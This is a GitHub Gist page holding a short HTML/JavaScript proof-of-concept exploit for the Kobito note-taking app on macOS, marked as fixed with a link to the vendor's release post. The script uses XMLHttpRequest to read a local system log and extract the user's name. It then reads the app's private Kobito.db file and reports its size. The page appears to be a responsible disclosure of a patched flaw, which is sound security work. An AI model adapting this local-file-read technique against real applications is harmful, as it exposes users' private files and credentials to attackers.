fixed http://blog.qiita.com/post/138251673484/kobito-for-mac-2-3-3
-
-
Save mala/f18da2e974b7f78e6fbb to your computer and use it in GitHub Desktop.
Kobito for OSX exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<div id="result"></div> | |
<script> | |
function log(t){ | |
document.getElementById("result").innerText += t + "\n"; | |
} | |
log(location); | |
var username; | |
var req = new XMLHttpRequest; | |
req.open("GET", "/private/var/db/mds/messages/se_SecurityMessages", true); | |
req.onload = function(){ | |
username = req.responseText.match(/\/Users\/(.*?)\/Library\//)[1] | |
log("Username:" + username); | |
var path = "/Users/" + username + "/Library/Containers/com.qiita.Kobito/Data/Library/Kobito/Kobito.db"; | |
req.open("GET", path, true); | |
req.onload = function(){ log("Kobito.db: " + req.responseText.length + " bytes")}; | |
req.send(); | |
}; | |
req.send(); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment